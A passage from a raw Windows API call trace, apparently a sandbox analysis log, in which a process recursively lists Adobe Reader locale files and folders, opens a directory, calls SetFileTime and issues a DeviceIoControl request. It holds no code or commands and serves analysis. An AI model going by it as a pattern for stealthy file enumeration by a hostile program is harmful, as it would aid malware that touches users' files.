ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.479] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.RUM", cAlternateFileName="")) returned 1 [0082.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.480] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.480] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c708 [0082.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128c510 [0082.481] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.481] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f50a880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updater.RUM", cAlternateFileName="")) returned 1 [0082.481] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.481] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.481] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.482] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.482] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.482] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c728 [0082.483] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128c618 [0082.483] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.483] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.RUM", cAlternateFileName="")) returned 1 [0082.483] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.484] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.484] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.484] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.484] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.484] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c748 [0082.484] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128c720 [0082.485] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6fc0) returned 0x12a1df8 [0082.485] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x129ae70) returned 1 [0082.485] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.485] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.RUM", cAlternateFileName="")) returned 0 [0082.485] GetLastError () returned 0x12 [0082.485] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0082.486] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0082.486] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.486] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.RUM", cAlternateFileName="")) returned 1 [0082.486] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831716c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6a800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.RUM", cAlternateFileName="")) returned 1 [0082.486] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.RUM", cAlternateFileName="")) returned 1 [0082.486] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.RUM", cAlternateFileName="")) returned 1 [0082.486] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.RUM", cAlternateFileName="")) returned 1 [0082.486] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831716c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1fa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.RUM", cAlternateFileName="")) returned 1 [0082.486] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.RUM", cAlternateFileName="")) returned 1 [0082.486] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.RUM", cAlternateFileName="")) returned 1 [0082.486] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.RUM", cAlternateFileName="")) returned 1 [0082.486] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.RUM", cAlternateFileName="")) returned 1 [0082.486] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.RUM", cAlternateFileName="")) returned 1 [0082.486] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db4daa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MakeAccessible.RUM", cAlternateFileName="")) returned 1 [0082.486] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7bb9a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.RUM", cAlternateFileName="")) returned 1 [0082.486] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDDom.RUM", cAlternateFileName="")) returned 1 [0082.486] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x82600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.RUM", cAlternateFileName="")) returned 1 [0082.486] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807a3460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x154600, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.RUM", cAlternateFileName="")) returned 1 [0082.486] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.RUM", cAlternateFileName="")) returned 1 [0082.486] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reflow.RUM", cAlternateFileName="")) returned 1 [0082.486] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.RUM", cAlternateFileName="")) returned 1 [0082.486] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.RUM", cAlternateFileName="")) returned 1 [0082.486] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.RUM", cAlternateFileName="")) returned 1 [0082.486] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.486] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128c828 [0082.487] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\services"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.487] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0082.487] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0082.487] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12a8dc0 [0082.487] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12a8dc0, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12a8dc0, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0082.488] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a8dc0) returned 1 [0082.488] NtClose (Handle=0x16c) returned 0x0 [0082.488] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x128c828) returned 1 [0082.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128c828 [0082.489] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128c930 [0082.489] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9100 [0082.489] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.489] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x93a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.489] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.490] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128ca38 [0082.490] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c768 [0082.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128cb40 [0082.491] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.491] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.491] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.492] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c788 [0082.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128cc48 [0082.492] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.492] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.492] GetLastError () returned 0x12 [0082.492] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0082.492] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0082.492] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.493] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x93a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 